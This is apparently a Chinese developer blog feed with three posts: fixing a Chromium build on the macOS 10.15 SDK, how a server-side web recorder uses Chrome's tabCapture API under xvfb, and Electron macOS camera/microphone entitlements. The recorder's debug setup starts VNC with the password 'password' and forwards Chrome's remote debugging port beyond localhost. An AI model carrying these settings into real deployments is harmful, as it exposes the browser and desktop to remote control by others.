-I../../third_party/mesa_headers  -fno-strict-aliasing -fstack-protector-strong -fcolor-diagnostics -fmerge-all-constants -fcrash-diagnostics-dir=../../tools/clang/crashreports -Xclang -mllvm -Xclang -instcombine-lower-dbg-declare=0 -fcomplete-member-pointers -arch x86_64 -Wno-builtin-macro-redefined -D__DATE__= -D__TIME__= -D__TIMESTAMP__= -Xclang -fdebug-compilation-dir -Xclang . -no-canonical-prefixes -Wall -Werror -Wextra -Wimplicit-fallthrough -Wunreachable-code -Wthread-safety -Wextra-semi -Wunguarded-availability -Wno-missing-field-initializers -Wno-unused-parameter -Wno-c++11-narrowing -Wno-unneeded-internal-declaration -Wno-undefined-var-template -Wno-ignored-pragma-optimize -Wno-implicit-int-float-conversion -Wno-final-dtor-non-final-class -Wno-builtin-assume-aligned-alignment -Wno-deprecated-copy -Wno-non-c-typedef-for-linkage -Wno-pointer-to-int-cast -O0 -fno-omit-frame-pointer -gdwarf-4 -g2 -Xclang -debug-info-kind=constructor -isysroot ../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk -mmacosx-version-min=10.10.0 -ftrivial-auto-var-init=pattern -fvisibility=hidden -Xclang -add-plugin -Xclang find-bad-constructs -Wheader-hygiene -Wstring-conversion -Wtautological-overlap-compare -Wno-shorten-64-to-32 -Wno-undefined-bool-conversion -Wno-tautological-undefined-compare -std=c++14 -stdlib=libc++ -fobjc-call-cxx-cdtors -Wobjc-missing-property-synthesis -fno-exceptions -fno-rtti -nostdinc++ -isystem../../buildtools/third_party/libc++/trunk/include -isystem../../buildtools/third_party/libc++abi/trunk/include -fvisibility-inlines-hidden -include obj/components/viz/common/metal_context_provider/precompile.h-mm -c ../../components/viz/common/gpu/metal_api_proxy.mm -o obj/components/viz/common/metal_context_provider/metal_api_proxy.o
../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method &apos;supportsRasterizationRateMapWithLayerCount:&apos; in protocol &apos;MTLDevice&apos; not implemented [-Werror,-Wprotocol]
@implementation MTLDeviceProxy
                ^
../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:727:1: note: method &apos;supportsRasterizationRateMapWithLayerCount:&apos; declared here
-(BOOL)supportsRasterizationRateMapWithLayerCount:(NSUInteger)layerCount API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4));
^
../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method &apos;newRasterizationRateMapWithDescriptor:&apos; in protocol &apos;MTLDevice&apos; not implemented [-Werror,-Wprotocol]
@implementation MTLDeviceProxy
                ^
../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:735:1: note: method &apos;newRasterizationRateMapWithDescriptor:&apos; declared here
-(nullable id&amp;lt;MTLRasterizationRateMap&amp;gt;)newRasterizationRateMapWithDescriptor:(MTLRasterizationRateMapDescriptor*)descriptor API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4));
^
../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method &apos;supportsVertexAmplificationCount:&apos; in protocol &apos;MTLDevice&apos; not implemented [-Werror,-Wprotocol]
@implementation MTLDeviceProxy
                ^
../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:831:1: note: method &apos;supportsVertexAmplificationCount:&apos; declared here
- (BOOL)supportsVertexAmplificationCount:(NSUInteger)count API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4));
^
3 errors generated.
[18605/41244] CXX obj/components/viz/service/main/main/viz_compositor_thread_runner_impl.o
ninja: build stopped: subcommand failed.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;去 chromium 论坛搜了下，有人说使用 &lt;code&gt;macOS 10.14 SDK&lt;/code&gt; 就可以解决，于是我在 &lt;code&gt;Github&lt;/code&gt; 上找到了&lt;a href=&quot;https://github.com/phracker/MacOSX-SDKs&quot;&gt;MacOSX-SDKs&lt;/a&gt; 项目，使用 &lt;code&gt;git clone&lt;/code&gt; 拉下来，并执行 &lt;code&gt;ln -s /Users/black-hole/Code/Github/MacOSX-SDKs/MacOSX10.14.sdk /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;然后重新开始构建，发现还是失败。看了错误，和之前一样。在错误详情里看到了 &lt;code&gt;MacOSX10.15.sdk&lt;/code&gt; 的字样，说明编译时，没有命中 &lt;code&gt;10.14&lt;/code&gt; 的 &lt;code&gt;SDK&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;翻了下代码，在 &lt;code&gt;build/config/mac/mac_sdk.gni&lt;/code&gt; 中找到了相关的参数定义:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;# Path to a specific version of the Mac SDK, not including a slash at the end.
# If empty, the path to the lowest version greater than or equal to
# mac_sdk_min is used.
mac_sdk_path = &quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到定义后，在 &lt;code&gt;args.gn&lt;/code&gt; 文件里，加入 &lt;code&gt;mac_sdk_path = &quot;/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是发现还是编译失败，而且错误信息没有在 &lt;code&gt;Chromium&lt;/code&gt; 论坛找到相关的信息。&lt;/p&gt;
&lt;p&gt;于是又在 &lt;code&gt;Chromium&lt;/code&gt; 论坛中搜了下相关帖子，找到了一个: &lt;a href=&quot;https://monorail-prod.appspot.com/p/chromium/issues/detail?id=973128#c10&quot;&gt;macOS: build with 10.15 SDK + toolchain&lt;/a&gt;。其中有人提供了 &lt;code&gt;patch&lt;/code&gt; 。&lt;/p&gt;
&lt;p&gt;但是因为这个 &lt;code&gt;patch&lt;/code&gt; 是 2019年10月份的了，经过测试，发现有些冲突，如:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;$ git apply --check ~/Downloads/compilation_10_15_wip.patch

error: 打补丁失败：build/config/mac/BUILD.gn:77
error: build/config/mac/BUILD.gn：补丁未应用
error: 打补丁失败：components/viz/common/gpu/metal_api_proxy.mm:573
error: components/viz/common/gpu/metal_api_proxy.mm：补丁未应用
error: 打补丁失败：services/device/geolocation/wifi_data_provider_mac.mm:21
error: services/device/geolocation/wifi_data_provider_mac.mm：补丁未应用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是自己大致看了下 &lt;code&gt;patch&lt;/code&gt; 的内容，我就只引用了 &lt;code&gt;BUILD.gn&lt;/code&gt; 的改动，在 &lt;code&gt;build/config/mac/BUILD.gn&lt;/code&gt; 文件里，找到 &lt;code&gt;defines = [ &quot;__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0&quot; ]&lt;/code&gt; ，把这里改成下面的样子:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;defines = [
  &quot;__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0&quot;,
  &quot;OBJC_OLD_DISPATCH_PROTOTYPES=1&quot;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时删除 &lt;code&gt;mac_sdk_path&lt;/code&gt; 参数，即可完成编译&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-update-code&quot;&gt;
&lt;p&gt;如果后面想获取最新代码，执行 &lt;code&gt;git rebase-update &amp;amp;&amp;amp; gclient sync&lt;/code&gt; 即可。 &lt;a href=&quot;https://bugs.cc/zh/posts/macos-10.15-download-and-build-chromium/#user-content-fnref-update-code&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-enable-nacl&quot;&gt;
&lt;p&gt;此参数，一般使用不到，作用是能够从浏览器直接运行程序机器代码，而 &lt;code&gt;google&lt;/code&gt; 也在 &lt;code&gt;2018 Q1&lt;/code&gt; 时说明了，此技术除 &lt;code&gt;Chrome OS&lt;/code&gt; 以外的项目(Chrome APP)将废弃使用，未来的工作重点将放在 &lt;code&gt;WebAssembly&lt;/code&gt; 。详情: &lt;a href=&quot;https://developer.chrome.com/native-client/migration&quot;&gt;WebAssembly Migration Guide&lt;/a&gt; &lt;a href=&quot;https://bugs.cc/zh/posts/macos-10.15-download-and-build-chromium/#user-content-fnref-enable-nacl&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>chromium</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>服务端录制原理分析</title><link>https://bugs.cc/zh/posts/rebirth-principle-analysis/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/rebirth-principle-analysis/</guid><description>介绍服务端录制的原理及遇到的一些坑</description><pubDate>Sat, 07 Dec 2019 07:02:14 GMT</pubDate><content:encoded>&lt;h2&gt;简要 {#intro}&lt;/h2&gt;
&lt;h3&gt;功能简要 {#features}&lt;/h3&gt;
&lt;p&gt;什么是服务端录制，通俗来说就是在服务器上把网站录制下来，包括网站的 &lt;strong&gt;声音、动作、刷新、跳转&lt;/strong&gt; 等。并保存成一个视频文件&lt;/p&gt;
&lt;h3&gt;原理简要 {#principle}&lt;/h3&gt;
&lt;p&gt;通过虚拟桌面 &lt;code&gt;xvfb&lt;/code&gt; 技术启动 &lt;code&gt;Puppeteer&lt;/code&gt;，&lt;code&gt;Puppeteer&lt;/code&gt; 打开 &lt;code&gt;Chrome&lt;/code&gt;，再调用 &lt;code&gt;Chrome Extension API&lt;/code&gt; 进行录制生成 &lt;code&gt;Stream&lt;/code&gt;，最终通过 H5 API 把 Stream 转换成 &lt;code&gt;webm&lt;/code&gt; 格式的视频文件&lt;/p&gt;
&lt;h2&gt;难点 {#challenges}&lt;/h2&gt;
&lt;p&gt;如何录制声音、在服务器上、做成自动化&lt;/p&gt;
&lt;h2&gt;分析 {#analysis}&lt;/h2&gt;
&lt;p&gt;在前期调研阶段，想到了各种方案，如：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用 Canvas 进行截图、拼凑&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Chrome&lt;/code&gt; 及 &lt;code&gt;H5&lt;/code&gt; 的各个 API&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但是经过各个方面的测试，最终确定下来，使用 Chrome 插件提供的一个 API: &lt;code&gt;chrome.tabCapture.capture&lt;/code&gt; ，这个 API 其实在 Chrome 插件文档里的介绍是这样的:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;捕获当前活动标签页的可视区域。该方法只能在扩展程序被调用之后在当前活动网页上使用，与 &lt;a href=&quot;https://crxdoc-zh.appspot.com/extensions/activeTab&quot;&gt;activeTab&lt;/a&gt; 的工作方式类似。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;捕获当前活动标签页的可视区域&lt;/strong&gt; 这段话代表了这个 API 的功能，后面的话代表了这个插件的限制，也就是说你不能直接调用。需要一个用户操作才能去调用这个 API（不得不说，Chrome对安全问题是很重视的）&lt;/p&gt;
&lt;p&gt;这个限制就是当时开发遇到的第一个问题，因为整个录制都是在服务器上运行的，是不可能有人工干预的情况。于是翻了下 &lt;code&gt;Chrome&lt;/code&gt; 的源码，果然在 &lt;a href=&quot;https://cs.chromium.org/chromium/src/chrome/browser/extensions/api/tab_capture/tab_capture_api.cc?type=cs&amp;amp;g=0&amp;amp;l=247-257&quot;&gt;tab_capture_api.cc&lt;/a&gt; 找到了，核心代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// Make sure either we have been granted permission to capture through an
// extension icon click or our extension is whitelisted.
if (!extension()-&amp;gt;permissions_data()-&amp;gt;HasAPIPermissionForTab(
        SessionTabHelper::IdForTab(target_contents).id(),
        APIPermission::kTabCaptureForTab) &amp;amp;&amp;amp;
    base::CommandLine::ForCurrentProcess()-&amp;gt;GetSwitchValueASCII(
        switches::kWhitelistedExtensionID) != extension_id &amp;amp;&amp;amp;
    !SimpleFeature::IsIdInArray(extension_id, kMediaRouterExtensionIds,
                                base::size(kMediaRouterExtensionIds))) {
  return RespondNow(Error(kGrantError));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中下面的代码是最主要的：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;base::CommandLine::ForCurrentProcess()-&amp;gt;GetSwitchValueASCII(
        switches::kWhitelistedExtensionID) != extension_id &amp;amp;&amp;amp;
    !SimpleFeature::IsIdInArray(extension_id, kMediaRouterExtensionIds,
                                base::size(kMediaRouterExtensionIds))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码会检测当前插件的的id是否和 &lt;code&gt;kWhitelistedExtensionID&lt;/code&gt; 一样，而 &lt;code&gt;kWhitelistedExtensionID&lt;/code&gt; 就是一个特权列表，当相同时，就可以绕过用户操作，做成自动化。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;kWhitelistedExtensionID&lt;/code&gt; 声明是在 &lt;a href=&quot;https://cs.chromium.org/chromium/src/extensions/common/switches.cc?type=cs&amp;amp;g=0&amp;amp;l=78&quot;&gt;switches.cc&lt;/a&gt; 文件里的，定义如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// Adds the given extension ID to all the permission whitelists.
const char kWhitelistedExtensionID[] = &quot;whitelisted-extension-id&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在就很清楚了，我只需要在启动 Chrome 的时候，增加一个 &lt;code&gt;--whitelisted-extension-id&lt;/code&gt; 参数，来指定当前 Chrome 插件ID 就行了。&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/rebirth-principle-analysis/#user-content-fn-tab-active&quot; id=&quot;user-content-fnref-tab-active&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;所以现在新的问题来了，我需要让我每次生成的 Chrome 插件，ID都是固定的，否则每次生成的插件，ID都不一样就有问题了。在 &lt;code&gt;Stack Overflow&lt;/code&gt; 搜了一下，找到了相关的解决方案: &lt;a href=&quot;https://stackoverflow.com/questions/37317779/making-a-unique-extension-id-and-key-for-chrome-extension&quot;&gt;Making a unique extension id and key for Chrome extension?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这也就是为什么我会在项目里的 插件目录放置一个 &lt;a href=&quot;https://github.com/alo7/rebirth/blob/master/src/extensions_dist/key.pem&quot;&gt;key.pem&lt;/a&gt; 文件，本质就是为了让插件ID固定下来。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;可能有的小伙伴已经发现，这个API没有提供其他的方法了，所以需要我们手动去完成 &lt;code&gt;暂停 / 恢复 / 停止&lt;/code&gt; 的方法，这个时候我们就可以借助 H5 的 &lt;code&gt;MediaRecorder&lt;/code&gt;&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/rebirth-principle-analysis/#user-content-fn-mediarecorder&quot; id=&quot;user-content-fnref-mediarecorder&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; API 来完成这件事情。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chrome.tabCapture.capture&lt;/code&gt; 这个方法会返回一个 &lt;code&gt;Stream&lt;/code&gt; 对象，而这个 &lt;code&gt;Stream&lt;/code&gt; 包含了 音/视频。所以我们就可以使用 &lt;code&gt;MediaRecorder&lt;/code&gt; 来完成剩下的功能了。&lt;/p&gt;
&lt;p&gt;在调用 &lt;code&gt;chrome.tabCapture.capture&lt;/code&gt; 后，我们会创建一个变量。这个变量由 &lt;code&gt;MediaRecorder&lt;/code&gt; 实例化而来，并且同时监听新的流进来。&lt;/p&gt;
&lt;p&gt;现在我们写了几个方法(&lt;code&gt;暂停 / 恢复 / 停止&lt;/code&gt;)，其实本质就是调用 &lt;code&gt;MediaRecorder&lt;/code&gt; 的方法。因为 &lt;code&gt;MediaRecorder&lt;/code&gt; 本身就提供了: &lt;code&gt;pause / resume / stop&lt;/code&gt; 的方法，我们只需要做一层包装即可。&lt;/p&gt;
&lt;p&gt;当然这里有个小问题，就是当你调用 &lt;code&gt;MediaRecorder&lt;/code&gt; 的 &lt;code&gt;stop&lt;/code&gt; 方法时，还需要遍历每个 &lt;code&gt;Tracks&lt;/code&gt;，不然会照成持续的内存占用。代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;mediaRecorder.stop();
mediaRecorder.stream.getTracks().forEach(track =&amp;gt; {
  track.stop();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你可以初步理解成，这个 stop 只是停止接收流，但是之前的流还没有被关闭/释放。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;上面说了那么多，基本的录制结构都OK了。无论有没有看懂，都应该知道这个项目的核心是浏览器插件。但是 Chrome 不支持在 &lt;code&gt;headless&lt;/code&gt;&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/rebirth-principle-analysis/#user-content-fn-headless&quot; id=&quot;user-content-fnref-headless&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; 模式下注入插件。&lt;/p&gt;
&lt;p&gt;因为是在服务器上，并且以后肯定是要走 &lt;code&gt;Docker&lt;/code&gt; 的方式，这些都是无桌面的，不能使用 &lt;code&gt;headless&lt;/code&gt; 模式的话，相当于以上所有的工作都是白费的。&lt;/p&gt;
&lt;p&gt;随后翻遍了 &lt;code&gt;Google&lt;/code&gt;，找到了一个解决方案，就是使用 &lt;code&gt;xvfb&lt;/code&gt; 。你可以理解成这个软件会帮我虚拟出一个桌面出来，我的代码(Chrome) 就会在这个虚拟桌面运行。完美解决刚刚的窘迫。&lt;/p&gt;
&lt;p&gt;所以你能在 &lt;a href=&quot;https://github.com/alo7/rebirth/blob/master/entrypoint.sh&quot;&gt;entrypoint.sh&lt;/a&gt; 文件里看到下面的代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;# open virtual desktop
xvfb-run --listen-tcp --server-num=76 --server-arg=&quot;-screen 0 2048x1024x24&quot; --auth-file=$XAUTHORITY node index.js &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，整个工作其实已经算是OK了，接下来就是一些优化的方案&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;现在整个项目已经可以安安心心的在服务器(Docker)上进行录制了，但是我们看不到具体里面的内容。我不知道里面现在处于什么的情况，想进行一些调试。所以我在原有的基础上增加了 &lt;code&gt;VNC&lt;/code&gt; 和 &lt;code&gt;Chrome Remote Debug&lt;/code&gt; 调试模式。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;VNC&lt;/code&gt; 的话，很简单，只要在 Docker 里安装了 VNC 的套件，再在 &lt;a href=&quot;https://github.com/alo7/rebirth/blob/master/entrypoint.sh&quot;&gt;entrypoint.sh&lt;/a&gt; 文件里增加如下代码即可：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;x11vnc -display :76 -passwd password -forever -autoport 5920 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Chrome Remote Debug&lt;/code&gt; 则有些麻烦，需要在 Chrome 启动参数里加上 &lt;code&gt;--remote-debugging-port=9222&lt;/code&gt;，然后需要在 Docker 里安装 &lt;code&gt;socat&lt;/code&gt; 软件，进行端口转发。&lt;/p&gt;
&lt;p&gt;因为9222是 &lt;code&gt;Chrome Remote Debug&lt;/code&gt; 的端口，但是 Chrome 不支持除本机以外的机器访问它。所以我们需要使用 &lt;code&gt;socat&lt;/code&gt; 把 9222 端口转发到 9223 即可，在 &lt;a href=&quot;https://github.com/alo7/rebirth/blob/master/entrypoint.sh&quot;&gt;entrypoint.sh&lt;/a&gt; 文件的代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;# forward chrome remote debugging protocol port
socat tcp-listen:9223,fork tcp:localhost:9222 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;因为这个 Docker 以后可能会部署到 k8s 上，或者其他地方，而部署后，总会遇到被通知说，你自杀吧（一般当集群资源不够时、CPU占用率过高时会通知）。那我们应该做成，当他们通知到这个 Docker(k8s为Pod)时，应该及时的回滚数据等操作。所以在 &lt;a href=&quot;https://github.com/alo7/rebirth/blob/master/entrypoint.sh&quot;&gt;entrypoint.sh&lt;/a&gt; 文件里有这么一段代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;# get nodejs process pid
NODE_PID=$(lsof -i:80 | grep node | awk &apos;NR==1,$NF=&quot; &quot;{print $2}&apos;)

# forward SIGINT/SIGKILL/SIGTERM to nodejs process
trap &apos;kill -n 15 ${NODE_PID}&apos; 2 9 15

# waiting nodejs exit
while [[ -e /proc/${NODE_PID} ]]; do sleep 1; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先获取 node 进程的 PID，再把消息通知到 node 进程里。而 node 代码中又有这么一段：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let status = false;
const exit = message =&amp;gt; {
  if (status) return;

    console.log(&apos;the process was kill:&apos;, message);

    // 回滚操作

  status = true;

  process.exit();
};


process.once(&apos;exit&apos;, () =&amp;gt; exit(&apos;exit&apos;));
process.once(&apos;SIGTERM&apos;, () =&amp;gt; exit(&apos;sigterm&apos;));
process.on(&apos;message&apos;, message =&amp;gt; {
  if (message === &apos;shutdown&apos;) {
    exit(&apos;shutdown&apos;);
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;部署方式 {#deployment}&lt;/h2&gt;
&lt;p&gt;我们公司因为使用的 k8s 来部署的，所以我们目前的部署方式是这样的：&lt;/p&gt;
&lt;p&gt;首先 Server 那里派发一个录制任务插入到数据库里，这个时候我写了另一个项目，这个项目会定期去扫数据库(目前为3分钟)，扫到一个数据就会调用 k8s 的 API 去创建 Job→Pod。完成一次录制任务，有兴趣可以看我之前写的文章: &lt;a href=&quot;https://www.bugs.cc/p/flexible-scheduling-of-k8s-cluster-based-on-task-volume/&quot;&gt;基于任务量进行k8s集群的灵活调度处理&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;其他 {#open-source}&lt;/h2&gt;
&lt;p&gt;目前项目已经开源，欢迎 Star 或 PR: &lt;a href=&quot;https://github.com/alo7/rebirth&quot;&gt;https://github.com/alo7/rebirth&lt;/a&gt;&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-tab-active&quot;&gt;
&lt;p&gt;唯一的缺陷就是在调用这个 api 的时候，必须保证要录制的 tab 是激活状态，调用之后就可以跳转到其他页面了。 &lt;a href=&quot;https://bugs.cc/zh/posts/rebirth-principle-analysis/#user-content-fnref-tab-active&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-mediarecorder&quot;&gt;
&lt;p&gt;不理解这个 API 的小伙伴，可以先初步理解成用来管理音视频流的。 &lt;a href=&quot;https://bugs.cc/zh/posts/rebirth-principle-analysis/#user-content-fnref-mediarecorder&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-headless&quot;&gt;
&lt;p&gt;可以把 headless 理解成，在命令行启动 Chrome，通过命令 / API 进行交互，并且没有可视化页面。 &lt;a href=&quot;https://bugs.cc/zh/posts/rebirth-principle-analysis/#user-content-fnref-headless&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 3&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>rebirth</category><category>chrome extension</category><category>nodejs</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Electron App 在 MacOS 下 申请摄像头及麦克风权限踩坑指南</title><link>https://bugs.cc/zh/posts/electron-app-request-camera-and-microphone-permission-by-macos/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/electron-app-request-camera-and-microphone-permission-by-macos/</guid><description>由 macOS 在 10.14 版本及以上版本增加了隐私的安全性，导致 Electron 应用在使用摄像头、麦克风时会 Crash</description><pubDate>Wed, 23 Oct 2019 01:55:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;公司的 Electron 应用，偶尔会在 &lt;em&gt;设备检测&lt;/em&gt; 时 &lt;code&gt;Crash&lt;/code&gt; ，后来经过排查发现是当前 App 没有摄像头和麦克风的权限。导致在 &lt;em&gt;设备检测&lt;/em&gt; 时出现了崩溃。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;macOS 10.14 及以上版本，开发者必须对其自己的应用明确授予麦克风、摄像头权限。否则无法调用系统的摄像头、麦克风。如想见详情，可见: &lt;a href=&quot;https://developer.apple.com/documentation/avfoundation/cameras_and_media_capture/requesting_authorization_for_media_capture_on_macos?language=objc&quot;&gt;Requesting Authorization for Media Capture on macOS&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其中 Apple 文档里标注了，如果你想使用麦克风、摄像头权限则需要在 &lt;code&gt;plist&lt;/code&gt; 文件里指定相关的属性才可以，如下:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;麦克风: &lt;a href=&quot;https://developer.apple.com/documentation/bundleresources/information_property_list/nscamerausagedescription?language=objc&quot;&gt;NSMicrophoneUsageDescription&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;摄像头: &lt;em&gt;&lt;a href=&quot;https://developer.apple.com/documentation/bundleresources/information_property_list/nsmicrophoneusagedescription?language=objc&quot;&gt;NSCameraUsageDescription&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这两个属性从后面的 &lt;code&gt;Description&lt;/code&gt; 就能看到这是一个说明你的程序为什么要使用麦克风和摄像头的属性。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;Electron App&lt;/code&gt; 打包，一般都是使用 &lt;a href=&quot;https://www.electron.build/&quot;&gt;electron-builder&lt;/a&gt; 这个库来进行打包，而这个库的文档里针对于 mac 打包，有这么一个属性: &lt;code&gt;extendInfo&lt;/code&gt; 他的用途是把你的自定义的属性加入到 &lt;code&gt;plist&lt;/code&gt; 文件里，在 &lt;code&gt;electro-builder.yml&lt;/code&gt; 文件里的写法如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;mac:
  extendInfo:
    NSMicrophoneUsageDescription: 请允许本程序访问您的麦克风
    NSCameraUsageDescription: 请允许本程序访问您的摄像头
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是当你这么写完会发现，并没有起到任何的作用，因为这两个属性只是用于说明你的应用为什么要申请权限。但是却没有指定申请权限的行为。&lt;/p&gt;
&lt;p&gt;如果要指定申请摄像头、麦克风的权限，需要以下的属性:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;com.apple.security.device.camera&lt;/li&gt;
&lt;li&gt;com.apple.security.device.audio-input&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而这两个属性，在添加时有一个前提，就是你必须开启了 &lt;a href=&quot;https://developer.apple.com/documentation/security/hardened_runtime_entitlements&quot;&gt;hardenedRuntime&lt;/a&gt;&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/electron-app-request-camera-and-microphone-permission-by-macos/#user-content-fn-hardenedruntime-version&quot; id=&quot;user-content-fnref-hardenedruntime-version&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;，这个东西是为了加强应用运行时的完整性，如想见详情，可见: &lt;a href=&quot;https://developer.apple.com/documentation/security/hardened_runtime_entitlements&quot;&gt;Hardened Runtime Entitlements&lt;/a&gt;&lt;/p&gt;
